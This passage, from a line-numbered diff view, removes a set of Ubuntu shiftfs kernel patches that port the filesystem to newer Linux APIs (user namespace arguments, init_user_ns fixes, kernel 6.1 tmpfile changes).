5871 |
- return p; |
5872 |
- } |
5873 |
- |
5874 |
--static int shiftfs_setxattr(struct dentry *dentry, struct inode *inode, |
5875 |
-+static int shiftfs_setxattr(struct user_namespace *ns, |
5876 |
-+ struct dentry *dentry, struct inode *inode, |
5877 |
- const char *name, const void *value, |
5878 |
- size_t size, int flags) |
5879 |
- { |
5880 |
-@@ -317,7 +318,7 @@ static int shiftfs_setxattr(struct dentry *dentry, struct inode *inode, |
5881 |
- const struct cred *oldcred; |
5882 |
- |
5883 |
- oldcred = shiftfs_override_creds(dentry->d_sb); |
5884 |
-- err = vfs_setxattr(lowerd, name, value, size, flags); |
5885 |
-+ err = vfs_setxattr(ns, lowerd, name, value, size, flags); |
5886 |
- revert_creds(oldcred); |
5887 |
- |
5888 |
- shiftfs_copyattr(lowerd->d_inode, inode); |
5889 |
-@@ -334,7 +335,7 @@ static int shiftfs_xattr_get(const struct xattr_handler *handler, |
5890 |
- const struct cred *oldcred; |
5891 |
- |
5892 |
- oldcred = shiftfs_override_creds(dentry->d_sb); |
5893 |
-- err = vfs_getxattr(lowerd, name, value, size); |
5894 |
-+ err = vfs_getxattr(&init_user_ns, lowerd, name, value, size); |
5895 |
- revert_creds(oldcred); |
5896 |
- |
5897 |
- return err; |
5898 |
-@@ -354,14 +355,15 @@ static ssize_t shiftfs_listxattr(struct dentry *dentry, char *list, |
5899 |
- return err; |
5900 |
- } |
5901 |
- |
5902 |
--static int shiftfs_removexattr(struct dentry *dentry, const char *name) |
5903 |
-+static int shiftfs_removexattr(struct user_namespace *ns, |
5904 |
-+ struct dentry *dentry, const char *name) |
5905 |
- { |
5906 |
- struct dentry *lowerd = dentry->d_fsdata; |
5907 |
- int err; |
5908 |
- const struct cred *oldcred; |
5909 |
- |
5910 |
- oldcred = shiftfs_override_creds(dentry->d_sb); |
5911 |
-- err = vfs_removexattr(lowerd, name); |
5912 |
-+ err = vfs_removexattr(ns, lowerd, name); |
5913 |
- revert_creds(oldcred); |
5914 |
- |
5915 |
- /* update c/mtime */ |
5916 |
-@@ -371,13 +373,14 @@ static int shiftfs_removexattr(struct dentry *dentry, const char *name) |
5917 |
- } |
5918 |
- |
5919 |
- static int shiftfs_xattr_set(const struct xattr_handler *handler, |
5920 |
-+ struct user_namespace *ns, |
5921 |
- struct dentry *dentry, struct inode *inode, |
5922 |
- const char *name, const void *value, size_t size, |
5923 |
- int flags) |
5924 |
- { |
5925 |
- if (!value) |
5926 |
-- return shiftfs_removexattr(dentry, name); |
5927 |
-- return shiftfs_setxattr(dentry, inode, name, value, size, flags); |
5928 |
-+ return shiftfs_removexattr(ns, dentry, name); |
5929 |
-+ return shiftfs_setxattr(ns, dentry, inode, name, value, size, flags); |
5930 |
- } |
5931 |
- |
5932 |
- static int shiftfs_inode_test(struct inode *inode, void *data) |
5933 |
-@@ -391,7 +394,8 @@ static int shiftfs_inode_set(struct inode *inode, void *data) |
5934 |
- return 0; |
5935 |
- } |
5936 |
- |
5937 |
--static int shiftfs_create_object(struct inode *diri, struct dentry *dentry, |
5938 |
-+static int shiftfs_create_object(struct user_namespace *ns, |
5939 |
-+ struct inode *diri, struct dentry *dentry, |
5940 |
- umode_t mode, const char *symlink, |
5941 |
- struct dentry *hardlink, bool excl) |
5942 |
- { |
5943 |
-@@ -453,7 +457,7 @@ static int shiftfs_create_object(struct inode *diri, struct dentry *dentry, |
5944 |
- inode->i_state |= I_CREATING; |
5945 |
- spin_unlock(&inode->i_lock); |
5946 |
- |
5947 |
-- inode_init_owner(inode, diri, mode); |
5948 |
-+ inode_init_owner(ns, inode, diri, mode); |
5949 |
- modei = inode->i_mode; |
5950 |
- } |
5951 |
- |
5952 |
-@@ -464,22 +468,22 @@ static int shiftfs_create_object(struct inode *diri, struct dentry *dentry, |
5953 |
- |
5954 |
- if (hardlink) { |
5955 |
- lowerd_link = hardlink->d_fsdata; |
5956 |
-- err = vfs_link(lowerd_link, loweri_dir, lowerd_new, NULL); |
5957 |
-+ err = vfs_link(lowerd_link, ns, loweri_dir, lowerd_new, NULL); |
5958 |
- } else { |
5959 |
- switch (modei & S_IFMT) { |
5960 |
- case S_IFDIR: |
5961 |
-- err = vfs_mkdir(loweri_dir, lowerd_new, modei); |
5962 |
-+ err = vfs_mkdir(ns, loweri_dir, lowerd_new, modei); |
5963 |
- break; |
5964 |
- case S_IFREG: |
5965 |
-- err = vfs_create(loweri_dir, lowerd_new, modei, excl); |
5966 |
-+ err = vfs_create(ns, loweri_dir, lowerd_new, modei, excl); |
5967 |
- break; |
5968 |
- case S_IFLNK: |
5969 |
-- err = vfs_symlink(loweri_dir, lowerd_new, symlink); |
5970 |
-+ err = vfs_symlink(ns, loweri_dir, lowerd_new, symlink); |
5971 |
- break; |
5972 |
- case S_IFSOCK: |
5973 |
- /* fall through */ |
5974 |
- case S_IFIFO: |
5975 |
-- err = vfs_mknod(loweri_dir, lowerd_new, modei, 0); |
5976 |
-+ err = vfs_mknod(ns, loweri_dir, lowerd_new, modei, 0); |
5977 |
- break; |
5978 |
- default: |
5979 |
- err = -EINVAL; |
5980 |
-@@ -535,41 +539,43 @@ static int shiftfs_create_object(struct inode *diri, struct dentry *dentry, |
5981 |
- return err; |
5982 |
- } |
5983 |
- |
5984 |
--static int shiftfs_create(struct inode *dir, struct dentry *dentry, |
5985 |
-+static int shiftfs_create(struct user_namespace *ns, |
5986 |
-+ struct inode *dir, struct dentry *dentry, |
5987 |
- umode_t mode, bool excl) |
5988 |
- { |
5989 |
- mode |= S_IFREG; |
5990 |
- |
5991 |
-- return shiftfs_create_object(dir, dentry, mode, NULL, NULL, excl); |
5992 |
-+ return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, excl); |
5993 |
- } |
5994 |
- |
5995 |
--static int shiftfs_mkdir(struct inode *dir, struct dentry *dentry, |
5996 |
-+static int shiftfs_mkdir(struct user_namespace *ns, struct inode *dir, struct dentry *dentry, |
5997 |
- umode_t mode) |
5998 |
- { |
5999 |
- mode |= S_IFDIR; |
6000 |
- |
6001 |
-- return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false); |
6002 |
-+ return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, false); |
6003 |
- } |
6004 |
- |
6005 |
- static int shiftfs_link(struct dentry *hardlink, struct inode *dir, |
6006 |
- struct dentry *dentry) |
6007 |
- { |
6008 |
-- return shiftfs_create_object(dir, dentry, 0, NULL, hardlink, false); |
6009 |
-+ return shiftfs_create_object(&init_user_ns, dir, dentry, 0, NULL, hardlink, false); |
6010 |
- } |
6011 |
- |
6012 |
--static int shiftfs_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, |
6013 |
-+static int shiftfs_mknod(struct user_namespace *ns, |
6014 |
-+ struct inode *dir, struct dentry *dentry, umode_t mode, |
6015 |
- dev_t rdev) |
6016 |
- { |
6017 |
- if (!S_ISFIFO(mode) && !S_ISSOCK(mode)) |
6018 |
- return -EPERM; |
6019 |
- |
6020 |
-- return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false); |
6021 |
-+ return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, false); |
6022 |
- } |
6023 |
- |
6024 |
--static int shiftfs_symlink(struct inode *dir, struct dentry *dentry, |
6025 |
-+static int shiftfs_symlink(struct user_namespace *ns, struct inode *dir, struct dentry *dentry, |
6026 |
- const char *symlink) |
6027 |
- { |
6028 |
-- return shiftfs_create_object(dir, dentry, S_IFLNK, symlink, NULL, false); |
6029 |
-+ return shiftfs_create_object(ns, dir, dentry, S_IFLNK, symlink, NULL, false); |
6030 |
- } |
6031 |
- |
6032 |
- static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir) |
6033 |
-@@ -584,9 +590,9 @@ static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir) |
6034 |
- oldcred = shiftfs_override_creds(dentry->d_sb); |
6035 |
- inode_lock_nested(loweri, I_MUTEX_PARENT); |
6036 |
- if (rmdir) |
6037 |
-- err = vfs_rmdir(loweri, lowerd); |
6038 |
-+ err = vfs_rmdir(&init_user_ns, loweri, lowerd); |
6039 |
- else |
6040 |
-- err = vfs_unlink(loweri, lowerd, NULL); |
6041 |
-+ err = vfs_unlink(&init_user_ns, loweri, lowerd, NULL); |
6042 |
- revert_creds(oldcred); |
6043 |
- |
6044 |
- if (!err) { |
6045 |
-@@ -615,7 +621,8 @@ static int shiftfs_rmdir(struct inode *dir, struct dentry *dentry) |
6046 |
- return shiftfs_rm(dir, dentry, true); |
6047 |
- } |
6048 |
- |
6049 |
--static int shiftfs_rename(struct inode *olddir, struct dentry *old, |
6050 |
-+static int shiftfs_rename(struct user_namespace *ns, |
6051 |
-+ struct inode *olddir, struct dentry *old, |
6052 |
- struct inode *newdir, struct dentry *new, |
6053 |
- unsigned int flags) |
6054 |
- { |
6055 |
-@@ -625,6 +632,14 @@ static int shiftfs_rename(struct inode *olddir, struct dentry *old, |
6056 |
- *trapd; |
6057 |
- struct inode *loweri_dir_old = lowerd_dir_old->d_inode, |
6058 |
- *loweri_dir_new = lowerd_dir_new->d_inode; |
6059 |
-+ struct renamedata rd = { |
6060 |
-+ .old_mnt_userns = ns, |
6061 |
-+ .old_dir = loweri_dir_old, |
6062 |
-+ .old_dentry = lowerd_old, |
6063 |
-+ .new_mnt_userns = ns, |
6064 |
-+ .new_dir = loweri_dir_new, |
6065 |
-+ .new_dentry = lowerd_new, |
6066 |
-+ }; |
6067 |
- int err = -EINVAL; |
6068 |
- const struct cred *oldcred; |
6069 |
- |
6070 |
-@@ -634,8 +649,7 @@ static int shiftfs_rename(struct inode *olddir, struct dentry *old, |
6071 |
- goto out_unlock; |
6072 |
- |
6073 |
- oldcred = shiftfs_override_creds(old->d_sb); |
6074 |
-- err = vfs_rename(loweri_dir_old, lowerd_old, loweri_dir_new, lowerd_new, |
6075 |
-- NULL, flags); |
6076 |
-+ err = vfs_rename(&rd); |
6077 |
- revert_creds(oldcred); |
6078 |
- |
6079 |
- shiftfs_copyattr(loweri_dir_old, olddir); |
6080 |
-@@ -691,7 +705,7 @@ static struct dentry *shiftfs_lookup(struct inode *dir, struct dentry *dentry, |
6081 |
- return d_splice_alias(inode, dentry); |
6082 |
- } |
6083 |
- |
6084 |
--static int shiftfs_permission(struct inode *inode, int mask) |
6085 |
-+static int shiftfs_permission(struct user_namespace *ns, struct inode *inode, int mask) |
6086 |
- { |
6087 |
- int err; |
6088 |
- const struct cred *oldcred; |
6089 |
-@@ -702,12 +716,12 @@ static int shiftfs_permission(struct inode *inode, int mask) |
6090 |
- return -ECHILD; |
6091 |
- } |
6092 |
- |
6093 |
-- err = generic_permission(inode, mask); |
6094 |
-+ err = generic_permission(ns, inode, mask); |
6095 |
- if (err) |
6096 |
- return err; |
6097 |
- |
6098 |
- oldcred = shiftfs_override_creds(inode->i_sb); |
6099 |
-- err = inode_permission(loweri, mask); |
6100 |
-+ err = inode_permission(ns, loweri, mask); |
6101 |
- revert_creds(oldcred); |
6102 |
- |
6103 |
- return err; |
6104 |
-@@ -733,7 +747,8 @@ static int shiftfs_fiemap(struct inode *inode, |
6105 |
- return err; |
6106 |
- } |
6107 |
- |
6108 |
--static int shiftfs_tmpfile(struct inode *dir, struct dentry *dentry, |
6109 |
-+static int shiftfs_tmpfile(struct user_namespace *ns, |
6110 |
-+ struct inode *dir, struct dentry *dentry, |
6111 |
- umode_t mode) |
6112 |
- { |
6113 |
- int err; |
6114 |
-@@ -745,13 +760,13 @@ static int shiftfs_tmpfile(struct inode *dir, struct dentry *dentry, |
6115 |
- return -EOPNOTSUPP; |
6116 |
- |
6117 |
- oldcred = shiftfs_override_creds(dir->i_sb); |
6118 |
-- err = loweri->i_op->tmpfile(loweri, lowerd, mode); |
6119 |
-+ err = loweri->i_op->tmpfile(ns, loweri, lowerd, mode); |
6120 |
- revert_creds(oldcred); |
6121 |
- |
6122 |
- return err; |
6123 |
- } |
6124 |
- |
6125 |
--static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr) |
6126 |
-+static int shiftfs_setattr(struct user_namespace *ns, struct dentry *dentry, struct iattr *attr) |
6127 |
- { |
6128 |
- struct dentry *lowerd = dentry->d_fsdata; |
6129 |
- struct inode *loweri = lowerd->d_inode; |
6130 |
-@@ -761,7 +776,7 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr) |
6131 |
- struct shiftfs_super_info *sbinfo = sb->s_fs_info; |
6132 |
- int err; |
6133 |
- |
6134 |
-- err = setattr_prepare(dentry, attr); |
6135 |
-+ err = setattr_prepare(ns, dentry, attr); |
6136 |
- if (err) |
6137 |
- return err; |
6138 |
- |
6139 |
-@@ -778,7 +793,7 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr) |
6140 |
- |
6141 |
- inode_lock(loweri); |
6142 |
- oldcred = shiftfs_override_creds(dentry->d_sb); |
6143 |
-- err = notify_change(lowerd, &newattr, NULL); |
6144 |
-+ err = notify_change(ns, lowerd, &newattr, NULL); |
6145 |
- revert_creds(oldcred); |
6146 |
- inode_unlock(loweri); |
6147 |
- |
6148 |
-@@ -787,7 +802,8 @@ static int shiftfs_setattr(struct dentry *dentry, struct iattr *attr) |
6149 |
- return err; |
6150 |
- } |
6151 |
- |
6152 |
--static int shiftfs_getattr(const struct path *path, struct kstat *stat, |
6153 |
-+static int shiftfs_getattr(struct user_namespace *ns, |
6154 |
-+ const struct path *path, struct kstat *stat, |
6155 |
- u32 request_mask, unsigned int query_flags) |
6156 |
- { |
6157 |
- struct inode *inode = path->dentry->d_inode; |
6158 |
-@@ -870,9 +886,9 @@ shift_acl_xattr_ids(struct user_namespace *from, struct user_namespace *to, |
6159 |
- entry->e_id = cpu_to_le32(from_kuid(&init_user_ns, kuid)); |
6160 |
- break; |
6161 |
- case ACL_GROUP: |
6162 |
-- kgid = make_kgid(&init_user_ns, le32_to_cpu(entry->e_id)); |
6163 |
-+ kgid = make_kgid(from, le32_to_cpu(entry->e_id)); |
6164 |
- kgid = shift_kgid(from, to, kgid); |
6165 |
-- entry->e_id = cpu_to_le32(from_kgid(&init_user_ns, kgid)); |
6166 |
-+ entry->e_id = cpu_to_le32(from_kgid(from, kgid)); |
6167 |
- break; |
6168 |
- default: |
6169 |
- break; |
6170 |
-@@ -880,7 +896,8 @@ shift_acl_xattr_ids(struct user_namespace *from, struct user_namespace *to, |
6171 |
- } |
6172 |
- } |
6173 |
- |
6174 |
--static struct posix_acl *shiftfs_get_acl(struct inode *inode, int type) |
6175 |
-+static struct posix_acl * |
6176 |
-+shiftfs_get_acl(struct inode *inode, int type, bool rcu) |
6177 |
- { |
6178 |
- struct inode *loweri = inode->i_private; |
6179 |
- const struct cred *oldcred; |
6180 |
-@@ -890,6 +907,9 @@ static struct posix_acl *shiftfs_get_acl(struct inode *inode, int type) |
6181 |
- int size; |
6182 |
- int err; |
6183 |
- |
6184 |
-+ if (rcu) |
6185 |
-+ return ERR_PTR(-ECHILD); |
6186 |
-+ |
6187 |
- if (!IS_POSIXACL(loweri)) |
6188 |
- return NULL; |
6189 |
- |
6190 |
-@@ -941,6 +961,7 @@ shiftfs_posix_acl_xattr_get(const struct xattr_handler *handler, |
6191 |
- |
6192 |
- static int |
6193 |
- shiftfs_posix_acl_xattr_set(const struct xattr_handler *handler, |
6194 |
-+ struct user_namespace *ns, |
6195 |
- struct dentry *dentry, struct inode *inode, |
6196 |
- const char *name, const void *value, |
6197 |
- size_t size, int flags) |
6198 |
-@@ -952,17 +973,17 @@ shiftfs_posix_acl_xattr_set(const struct xattr_handler *handler, |
6199 |
- return -EOPNOTSUPP; |
6200 |
- if (handler->flags == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) |
6201 |
- return value ? -EACCES : 0; |
6202 |
-- if (!inode_owner_or_capable(inode)) |
6203 |
-+ if (!inode_owner_or_capable(ns, inode)) |
6204 |
- return -EPERM; |
6205 |
- |
6206 |
- if (value) { |
6207 |
- shift_acl_xattr_ids(inode->i_sb->s_user_ns, |
6208 |
- loweri->i_sb->s_user_ns, |
6209 |
- (void *)value, size); |
6210 |
-- err = shiftfs_setxattr(dentry, inode, handler->name, value, |
6211 |
-+ err = shiftfs_setxattr(ns, dentry, inode, handler->name, value, |
6212 |
- size, flags); |
6213 |
- } else { |
6214 |
-- err = shiftfs_removexattr(dentry, handler->name); |
6215 |
-+ err = shiftfs_removexattr(ns, dentry, handler->name); |
6216 |
- } |
6217 |
- |
6218 |
- if (!err) |
6219 |
--- |
6220 |
-2.39.2 |
6221 |
- |
6222 |
-From df4546ab77323af5bd40996244af7ade6c99054b Mon Sep 17 00:00:00 2001 |
6223 |
-From: Andrea Righi <andrea.righi@×××××××××.com> |
6224 |
-Date: Wed, 13 Apr 2022 15:26:22 +0200 |
6225 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: always rely on init_user_ns |
6226 |
-Cc: mpagano@g.o |
6227 |
- |
6228 |
-With the porting of shiftfs from 5.15 to 5.17 some filesystem-related |
6229 |
-functions are now passing struct user_namespace as argument, however |
6230 |
-shiftfs logic is still relying on the fact that these functions need to |
6231 |
-use the main filesystem namespace. |
6232 |
- |
6233 |
-Make sure to always use init_user_ns to prevent breakage of system |
6234 |
-components that rely on shiftfs. |
6235 |
- |
6236 |
-Without this fix lxd was showing some issues, like failing to create any |
6237 |
-file inside a container when shiftfs was used (e.g., using zfs as |
6238 |
-storage pool). |
6239 |
- |
6240 |
-Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com> |
6241 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
6242 |
---- |
6243 |
- fs/shiftfs.c | 50 ++++++++++++++++++++++++-------------------------- |
6244 |
- 1 file changed, 24 insertions(+), 26 deletions(-) |
6245 |
- |
6246 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
6247 |
-index 76c54bc12018..a21624c529f0 100644 |
6248 |
---- a/fs/shiftfs.c |
6249 |
-+++ b/fs/shiftfs.c |
6250 |
-@@ -308,8 +308,7 @@ static const char *shiftfs_get_link(struct dentry *dentry, struct inode *inode, |
6251 |
- return p; |
6252 |
- } |
6253 |
- |
6254 |
--static int shiftfs_setxattr(struct user_namespace *ns, |
6255 |
-- struct dentry *dentry, struct inode *inode, |
6256 |
-+static int shiftfs_setxattr(struct dentry *dentry, struct inode *inode, |
6257 |
- const char *name, const void *value, |
6258 |
- size_t size, int flags) |
6259 |
- { |
6260 |
-@@ -318,7 +317,7 @@ static int shiftfs_setxattr(struct user_namespace *ns, |
6261 |
- const struct cred *oldcred; |
6262 |
- |
6263 |
- oldcred = shiftfs_override_creds(dentry->d_sb); |
6264 |
-- err = vfs_setxattr(ns, lowerd, name, value, size, flags); |
6265 |
-+ err = vfs_setxattr(&init_user_ns, lowerd, name, value, size, flags); |
6266 |
- revert_creds(oldcred); |
6267 |
- |
6268 |
- shiftfs_copyattr(lowerd->d_inode, inode); |
6269 |
-@@ -363,7 +362,7 @@ static int shiftfs_removexattr(struct user_namespace *ns, |
6270 |
- const struct cred *oldcred; |
6271 |
- |
6272 |
- oldcred = shiftfs_override_creds(dentry->d_sb); |
6273 |
-- err = vfs_removexattr(ns, lowerd, name); |
6274 |
-+ err = vfs_removexattr(&init_user_ns, lowerd, name); |
6275 |
- revert_creds(oldcred); |
6276 |
- |
6277 |
- /* update c/mtime */ |
6278 |
-@@ -379,8 +378,8 @@ static int shiftfs_xattr_set(const struct xattr_handler *handler, |
6279 |
- int flags) |
6280 |
- { |
6281 |
- if (!value) |
6282 |
-- return shiftfs_removexattr(ns, dentry, name); |
6283 |
-- return shiftfs_setxattr(ns, dentry, inode, name, value, size, flags); |
6284 |
-+ return shiftfs_removexattr(&init_user_ns, dentry, name); |
6285 |
-+ return shiftfs_setxattr(dentry, inode, name, value, size, flags); |
6286 |
- } |
6287 |
- |
6288 |
- static int shiftfs_inode_test(struct inode *inode, void *data) |
6289 |
-@@ -394,8 +393,7 @@ static int shiftfs_inode_set(struct inode *inode, void *data) |
6290 |
- return 0; |
6291 |
- } |
6292 |
- |
6293 |
--static int shiftfs_create_object(struct user_namespace *ns, |
6294 |
-- struct inode *diri, struct dentry *dentry, |
6295 |
-+static int shiftfs_create_object(struct inode *diri, struct dentry *dentry, |
6296 |
- umode_t mode, const char *symlink, |
6297 |
- struct dentry *hardlink, bool excl) |
6298 |
- { |
6299 |
-@@ -457,7 +455,7 @@ static int shiftfs_create_object(struct user_namespace *ns, |
6300 |
- inode->i_state |= I_CREATING; |
6301 |
- spin_unlock(&inode->i_lock); |
6302 |
- |
6303 |
-- inode_init_owner(ns, inode, diri, mode); |
6304 |
-+ inode_init_owner(&init_user_ns, inode, diri, mode); |
6305 |
- modei = inode->i_mode; |
6306 |
- } |
6307 |
- |
6308 |
-@@ -468,22 +466,22 @@ static int shiftfs_create_object(struct user_namespace *ns, |
6309 |
- |
6310 |
- if (hardlink) { |
6311 |
- lowerd_link = hardlink->d_fsdata; |
6312 |
-- err = vfs_link(lowerd_link, ns, loweri_dir, lowerd_new, NULL); |
6313 |
-+ err = vfs_link(lowerd_link, &init_user_ns, loweri_dir, lowerd_new, NULL); |
6314 |
- } else { |
6315 |
- switch (modei & S_IFMT) { |
6316 |
- case S_IFDIR: |
6317 |
-- err = vfs_mkdir(ns, loweri_dir, lowerd_new, modei); |
6318 |
-+ err = vfs_mkdir(&init_user_ns, loweri_dir, lowerd_new, modei); |
6319 |
- break; |
6320 |
- case S_IFREG: |
6321 |
-- err = vfs_create(ns, loweri_dir, lowerd_new, modei, excl); |
6322 |
-+ err = vfs_create(&init_user_ns, loweri_dir, lowerd_new, modei, excl); |
6323 |
- break; |
6324 |
- case S_IFLNK: |
6325 |
-- err = vfs_symlink(ns, loweri_dir, lowerd_new, symlink); |
6326 |
-+ err = vfs_symlink(&init_user_ns, loweri_dir, lowerd_new, symlink); |
6327 |
- break; |
6328 |
- case S_IFSOCK: |
6329 |
- /* fall through */ |
6330 |
- case S_IFIFO: |
6331 |
-- err = vfs_mknod(ns, loweri_dir, lowerd_new, modei, 0); |
6332 |
-+ err = vfs_mknod(&init_user_ns, loweri_dir, lowerd_new, modei, 0); |
6333 |
- break; |
6334 |
- default: |
6335 |
- err = -EINVAL; |
6336 |
-@@ -545,7 +543,7 @@ static int shiftfs_create(struct user_namespace *ns, |
6337 |
- { |
6338 |
- mode |= S_IFREG; |
6339 |
- |
6340 |
-- return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, excl); |
6341 |
-+ return shiftfs_create_object(dir, dentry, mode, NULL, NULL, excl); |
6342 |
- } |
6343 |
- |
6344 |
- static int shiftfs_mkdir(struct user_namespace *ns, struct inode *dir, struct dentry *dentry, |
6345 |
-@@ -553,13 +551,13 @@ static int shiftfs_mkdir(struct user_namespace *ns, struct inode *dir, struct de |
6346 |
- { |
6347 |
- mode |= S_IFDIR; |
6348 |
- |
6349 |
-- return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, false); |
6350 |
-+ return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false); |
6351 |
- } |
6352 |
- |
6353 |
- static int shiftfs_link(struct dentry *hardlink, struct inode *dir, |
6354 |
- struct dentry *dentry) |
6355 |
- { |
6356 |
-- return shiftfs_create_object(&init_user_ns, dir, dentry, 0, NULL, hardlink, false); |
6357 |
-+ return shiftfs_create_object(dir, dentry, 0, NULL, hardlink, false); |
6358 |
- } |
6359 |
- |
6360 |
- static int shiftfs_mknod(struct user_namespace *ns, |
6361 |
-@@ -569,13 +567,13 @@ static int shiftfs_mknod(struct user_namespace *ns, |
6362 |
- if (!S_ISFIFO(mode) && !S_ISSOCK(mode)) |
6363 |
- return -EPERM; |
6364 |
- |
6365 |
-- return shiftfs_create_object(ns, dir, dentry, mode, NULL, NULL, false); |
6366 |
-+ return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false); |
6367 |
- } |
6368 |
- |
6369 |
- static int shiftfs_symlink(struct user_namespace *ns, struct inode *dir, struct dentry *dentry, |
6370 |
- const char *symlink) |
6371 |
- { |
6372 |
-- return shiftfs_create_object(ns, dir, dentry, S_IFLNK, symlink, NULL, false); |
6373 |
-+ return shiftfs_create_object(dir, dentry, S_IFLNK, symlink, NULL, false); |
6374 |
- } |
6375 |
- |
6376 |
- static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir) |
6377 |
-@@ -716,12 +714,12 @@ static int shiftfs_permission(struct user_namespace *ns, struct inode *inode, in |
6378 |
- return -ECHILD; |
6379 |
- } |
6380 |
- |
6381 |
-- err = generic_permission(ns, inode, mask); |
6382 |
-+ err = generic_permission(&init_user_ns, inode, mask); |
6383 |
- if (err) |
6384 |
- return err; |
6385 |
- |
6386 |
- oldcred = shiftfs_override_creds(inode->i_sb); |
6387 |
-- err = inode_permission(ns, loweri, mask); |
6388 |
-+ err = inode_permission(&init_user_ns, loweri, mask); |
6389 |
- revert_creds(oldcred); |
6390 |
- |
6391 |
- return err; |
6392 |
-@@ -760,7 +758,7 @@ static int shiftfs_tmpfile(struct user_namespace *ns, |
6393 |
- return -EOPNOTSUPP; |
6394 |
- |
6395 |
- oldcred = shiftfs_override_creds(dir->i_sb); |
6396 |
-- err = loweri->i_op->tmpfile(ns, loweri, lowerd, mode); |
6397 |
-+ err = loweri->i_op->tmpfile(&init_user_ns, loweri, lowerd, mode); |
6398 |
- revert_creds(oldcred); |
6399 |
- |
6400 |
- return err; |
6401 |
-@@ -776,7 +774,7 @@ static int shiftfs_setattr(struct user_namespace *ns, struct dentry *dentry, str |
6402 |
- struct shiftfs_super_info *sbinfo = sb->s_fs_info; |
6403 |
- int err; |
6404 |
- |
6405 |
-- err = setattr_prepare(ns, dentry, attr); |
6406 |
-+ err = setattr_prepare(&init_user_ns, dentry, attr); |
6407 |
- if (err) |
6408 |
- return err; |
6409 |
- |
6410 |
-@@ -793,7 +791,7 @@ static int shiftfs_setattr(struct user_namespace *ns, struct dentry *dentry, str |
6411 |
- |
6412 |
- inode_lock(loweri); |
6413 |
- oldcred = shiftfs_override_creds(dentry->d_sb); |
6414 |
-- err = notify_change(ns, lowerd, &newattr, NULL); |
6415 |
-+ err = notify_change(&init_user_ns, lowerd, &newattr, NULL); |
6416 |
- revert_creds(oldcred); |
6417 |
- inode_unlock(loweri); |
6418 |
- |
6419 |
-@@ -980,10 +978,10 @@ shiftfs_posix_acl_xattr_set(const struct xattr_handler *handler, |
6420 |
- shift_acl_xattr_ids(inode->i_sb->s_user_ns, |
6421 |
- loweri->i_sb->s_user_ns, |
6422 |
- (void *)value, size); |
6423 |
-- err = shiftfs_setxattr(ns, dentry, inode, handler->name, value, |
6424 |
-+ err = shiftfs_setxattr(dentry, inode, handler->name, value, |
6425 |
- size, flags); |
6426 |
- } else { |
6427 |
-- err = shiftfs_removexattr(ns, dentry, handler->name); |
6428 |
-+ err = shiftfs_removexattr(&init_user_ns, dentry, handler->name); |
6429 |
- } |
6430 |
- |
6431 |
- if (!err) |
6432 |
--- |
6433 |
-2.39.2 |
6434 |
- |
6435 |
-From 3d0ac0887b4a57d883d194a6836501fa77aaf6e3 Mon Sep 17 00:00:00 2001 |
6436 |
-From: Andrea Righi <andrea.righi@×××××××××.com> |
6437 |
-Date: Wed, 27 Apr 2022 18:20:41 +0200 |
6438 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix missing include required in 5.18 |
6439 |
-Cc: mpagano@g.o |
6440 |
- |
6441 |
-Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com> |
6442 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
6443 |
---- |
6444 |
- fs/shiftfs.c | 1 + |
6445 |
- 1 file changed, 1 insertion(+) |
6446 |
- |
6447 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
6448 |
-index a21624c529f0..a5338dc6290c 100644 |
6449 |
---- a/fs/shiftfs.c |
6450 |
-+++ b/fs/shiftfs.c |
6451 |
-@@ -21,6 +21,7 @@ |
6452 |
- #include <linux/posix_acl_xattr.h> |
6453 |
- #include <linux/uio.h> |
6454 |
- #include <linux/fiemap.h> |
6455 |
-+#include <linux/pagemap.h> |
6456 |
- |
6457 |
- struct shiftfs_super_info { |
6458 |
- struct vfsmount *mnt; |
6459 |
--- |
6460 |
-2.39.2 |
6461 |
- |
6462 |
-From 6cbfd564842eeb9adb495a3de704d125418825f9 Mon Sep 17 00:00:00 2001 |
6463 |
-From: Andrea Righi <andrea.righi@×××××××××.com> |
6464 |
-Date: Tue, 18 Oct 2022 17:09:12 +0200 |
6465 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: support kernel 6.1 |
6466 |
-Cc: mpagano@g.o |
6467 |
- |
6468 |
-Signed-off-by: Andrea Righi <andrea.righi@×××××××××.com> |
6469 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
6470 |
---- |
6471 |
- fs/shiftfs.c | 5 ++--- |
6472 |
- 1 file changed, 2 insertions(+), 3 deletions(-) |
6473 |
- |
6474 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
6475 |
-index a5338dc6290c..34f080ae0fec 100644 |
6476 |
---- a/fs/shiftfs.c |
6477 |
-+++ b/fs/shiftfs.c |
6478 |
-@@ -747,19 +747,18 @@ static int shiftfs_fiemap(struct inode *inode, |
6479 |
- } |
6480 |
- |
6481 |
- static int shiftfs_tmpfile(struct user_namespace *ns, |
6482 |
-- struct inode *dir, struct dentry *dentry, |
6483 |
-+ struct inode *dir, struct file *file, |
6484 |
- umode_t mode) |
6485 |
- { |
6486 |
- int err; |
6487 |
- const struct cred *oldcred; |
6488 |
-- struct dentry *lowerd = dentry->d_fsdata; |
6489 |
- struct inode *loweri = dir->i_private; |
6490 |
- |
6491 |
